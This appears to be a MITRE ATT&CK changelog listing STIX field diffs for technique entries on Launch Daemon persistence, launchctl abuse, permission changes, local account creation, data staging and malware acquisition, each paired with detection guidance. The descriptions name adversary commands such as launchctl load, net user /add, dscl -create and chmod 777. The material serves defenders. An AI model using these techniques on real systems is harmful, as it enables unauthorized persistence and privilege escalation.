| > | y to modify executables referenced by current Launch Daemon' | ||||
| > | s plist files.(Citation: LaunchDaemon Hijacking)(Citation: s | ||||
| > | entinelone macos persist Jun 2019) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:46:44.130000+00:00 | 2021-10-07 22:10:55.653000+00:00 |
| description | Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) |
| external_references[5]['source_name'] | OSX Malware Detection | launchd Keywords for plists |
| external_references[5]['description'] | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. | Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021. |
| external_references[5]['url'] | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf | https://www.real-world-systems.com/docs/launchdPlist.1.html |
| x_mitre_data_sources[0] | File monitoring | Service: Service Creation |
| x_mitre_detection | Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. | Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.
Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)
|
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OSX Malware Detection', 'description': "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'} | |
| external_references | {'source_name': 'LaunchDaemon Hijacking', 'description': 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.', 'url': 'https://bradleyjkemp.dev/post/launchdaemon-hijacking/'} | |
| external_references | {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Service: Service Modification | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_effective_permissions | Administrator |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse launchctl to execute commands or progr | t | 1 | Adversaries may abuse launchctl to execute commands or progr |
| > | ams. Launchctl controls the macOS launchd process, which han | > | ams. Launchctl interfaces with launchd, the service manageme | ||
| > | dles things like [Launch Agent](https://attack.mitre.org/tec | > | nt framework for macOS. Launchctl supports taking subcommand | ||
| > | hniques/T1543/001)s and [Launch Daemon](https://attack.mitre | > | s on the command-line, interactively, or even redirected fro | ||
| > | .org/techniques/T1543/004)s, but can execute other commands | > | m standard input.(Citation: Launchctl Man) Adversaries use | ||
| > | or programs itself. Launchctl supports taking subcommands on | > | launchctl to execute commands and programs as [Launch Agent] | ||
| > | the command-line, interactively, or even redirected from st | > | (https://attack.mitre.org/techniques/T1543/001)s or [Launch | ||
| > | andard input.(Citation: Launchctl Man) By loading or reload | > | Daemon](https://attack.mitre.org/techniques/T1543/004)s. Com | ||
| > | ing [Launch Agent](https://attack.mitre.org/techniques/T1543 | > | mon subcommands include: <code>launchctl load</code>,<code>l | ||
| > | /001)s or [Launch Daemon](https://attack.mitre.org/technique | > | aunchctl unload</code>, and <code>launchctl start</code>. Ad | ||
| > | s/T1543/004)s, adversaries can install persistence or execut | > | versaries can use scripts or manually run the commands <code | ||
| > | e changes they made.(Citation: Sofacy Komplex Trojan) Runni | > | >launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <c | ||
| > | ng a command from launchctl is as simple as <code>launchctl | > | ode>/bin/launchctl load</code> to execute [Launch Agent](htt | ||
| > | submit -l <labelName> -- /Path/to/thing/to/execute "arg" "ar | > | ps://attack.mitre.org/techniques/T1543/001)s or [Launch Daem | ||
| > | g" "arg"</code>. Adversaries can abuse this functionality to | > | on](https://attack.mitre.org/techniques/T1543/004)s.(Citatio | ||
| > | execute code or even bypass application control if launchct | > | n: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools an | ||
| > | l is an allowed process. | > | d Techniques) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.079000+00:00 | 2021-10-15 18:40:23.141000+00:00 |
| description | Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)
Running a command from launchctl is as simple as launchctl submit -l . Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process. | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
|
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Service: Service Creation |
| x_mitre_detection | KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes. | Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders.
Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.
When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Most | > | n perform which actions (read, write, execute, etc.). Most | ||
| > | Linux and Linux-based platforms provide a standard set of pe | > | Linux and Linux-based platforms provide a standard set of pe | ||
| > | rmission groups (user, group, and other) and a standard set | > | rmission groups (user, group, and other) and a standard set | ||
| > | of permissions (read, write, and execute) that are applied t | > | of permissions (read, write, and execute) that are applied t | ||
| > | o each group. While nuances of each platform’s permissions i | > | o each group. While nuances of each platform’s permissions i | ||
| > | mplementation may vary, most of the platforms provide two pr | > | mplementation may vary, most of the platforms provide two pr | ||
| > | imary commands used to manipulate file and directory ACLs: < | > | imary commands used to manipulate file and directory ACLs: < | ||
| > | code>chown</code> (short for change owner), and <code>chmod< | > | code>chown</code> (short for change owner), and <code>chmod< | ||
| > | /code> (short for change mode). Adversarial may use these c | > | /code> (short for change mode). Adversarial may use these c | ||
| > | ommands to make themselves the owner of files and directorie | > | ommands to make themselves the owner of files and directorie | ||
| > | s or change the mode if current permissions allow it. They c | > | s or change the mode if current permissions allow it. They c | ||
| > | ould subsequently lock others out of the file. Specific file | > | ould subsequently lock others out of the file. Specific file | ||
| > | and directory modifications may be a required step for many | > | and directory modifications may be a required step for many | ||
| > | techniques, such as establishing Persistence via [.bash_pro | > | techniques, such as establishing Persistence via [Unix Shel | ||
| > | file and .bashrc](https://attack.mitre.org/techniques/T1546/ | > | l Configuration Modification](https://attack.mitre.org/techn | ||
| > | 004) or tainting/hijacking other instrumental binary/configu | > | iques/T1546/004) or tainting/hijacking other instrumental bi | ||
| > | ration files via [Hijack Execution Flow](https://attack.mitr | > | nary/configuration files via [Hijack Execution Flow](https:/ | ||
| > | e.org/techniques/T1574). | > | /attack.mitre.org/techniques/T1574).(Citation: 20 macOS Comm | ||
| > | on Tools and Techniques) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:12:40.041000+00:00 | 2021-09-13 21:08:09.985000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_detection | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques)
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. With a suff | > | or administration on a single system or service. With a suff | ||
| > | icient level of access, the <code>net user /add</code> comma | > | icient level of access, the <code>net user /add</code> comma | ||
| > | nd can be used to create a local account. Such accounts may | > | nd can be used to create a local account. On macOS systems t | ||
| > | be used to establish secondary credentialed access that do | > | he <code>dscl -create</code> command can be used to create a | ||
| > | not require persistent remote access tools to be deployed on | > | local account. Such accounts may be used to establish seco | ||
| > | the system. | > | ndary credentialed access that do not require persistent rem | ||
| > | ote access tools to be deployed on the system. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 18:04:20.780000+00:00 | 2021-08-12 13:04:14.248000+00:00 |
| description | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. |
| x_mitre_data_sources[0] | Process monitoring | User Account: User Account Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Authentication logs | Process: Process Creation |
| x_mitre_detection | Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. | Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows event logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stage collected data in a central location o | t | 1 | Adversaries may stage collected data in a central location o |
| > | r directory on the local system prior to Exfiltration. Data | > | r directory on the local system prior to Exfiltration. Data | ||
| > | may be kept in separate files or combined into one file thro | > | may be kept in separate files or combined into one file thro | ||
| > | ugh techniques such as [Archive Collected Data](https://atta | > | ugh techniques such as [Archive Collected Data](https://atta | ||
| > | ck.mitre.org/techniques/T1560). Interactive command shells m | > | ck.mitre.org/techniques/T1560). Interactive command shells m | ||
| > | ay be used, and common functionality within [cmd](https://at | > | ay be used, and common functionality within [cmd](https://at | ||
| > | tack.mitre.org/software/S0106) and bash may be used to copy | > | tack.mitre.org/software/S0106) and bash may be used to copy | ||
| > | data into a staging location. | > | data into a staging location. Adversaries may also stage co | ||
| > | llected data in various available formats/locations of a sys | ||||
| > | tem, including local storage databases/repositories or the W | ||||
| > | indows Registry.(Citation: Prevailion DarkWatchman 2021) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Massimiliano Romano, BT Security'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-26 19:23:54.854000+00:00 | 2022-04-21 16:07:10.829000+00:00 |
| description | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Prevailion DarkWatchman 2021', 'description': 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.', 'url': 'https://www.prevailion.com/darkwatchman-new-fileless-techniques/'} | |
| x_mitre_data_sources | File: File Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download malware that can be |
| > | download malware that can be used during targeting. Malicio | > | used during targeting. Malicious software can include payloa | ||
| > | us software can include payloads, droppers, post-compromise | > | ds, droppers, post-compromise tools, backdoors, packers, and | ||
| > | tools, backdoors, packers, and C2 protocols. Adversaries may | > | C2 protocols. Adversaries may acquire malware to support th | ||
| > | acquire malware to support their operations, obtaining a me | > | eir operations, obtaining a means for maintaining control of | ||
| > | ans for maintaining control of remote machines, evading defe | > | remote machines, evading defenses, and executing post-compr | ||
| > | nses, and executing post-compromise behaviors. In addition | > | omise behaviors. In addition to downloading free malware fr | ||
| > | to downloading free malware from the internet, adversaries m | > | om the internet, adversaries may purchase these capabilities | ||
| > | ay purchase these capabilities from third-party entities. Th | > | from third-party entities. Third-party entities can include | ||
| > | ird-party entities can include technology companies that spe | > | technology companies that specialize in malware development | ||
| > | cialize in malware development, criminal marketplaces (inclu | > | , criminal marketplaces (including Malware-as-a-Service, or | ||
| > | ding Malware-as-a-Service, or MaaS), or from individuals. In | > | MaaS), or from individuals. In addition to purchasing malwar | ||
| > | addition to purchasing malware, adversaries may steal and r | > | e, adversaries may steal and repurpose malware from third-pa | ||
| > | epurpose malware from third-party entities (including other | > | rty entities (including other adversaries). | ||
| > | adversaries). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:46:54.437000+00:00 | 2021-10-17 16:15:52.805000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:21:11.895000+00:00 | 2021-10-18 13:24:52.618000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Scheduled Job: Scheduled Job Metadata |
| x_mitre_data_sources[1] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Scheduled Job: Scheduled Job Modification |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_platforms | macOS |
Current version: 1.4
Version changed from: 1.3 → 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. | |
| external_references | CAPEC-177 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-177 | |
| external_references | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:54:28.727000+00:00 | 2022-05-05 04:56:08.978000+00:00 |
| external_references[1]['source_name'] | capec | Twitter ItsReallyNick Masquerading Update |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/177.html | https://twitter.com/ItsReallyNick/status/1055321652777619457 |
| external_references[2]['source_name'] | LOLBAS Main Site | Elastic Masquerade Ball |
| external_references[2]['description'] | LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020. | Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016. |
| external_references[2]['url'] | https://lolbas-project.github.io/ | http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf |
| external_references[3]['source_name'] | Endgame Masquerade Ball | LOLBAS Main Site |
| external_references[3]['description'] | Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016. | LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020. |
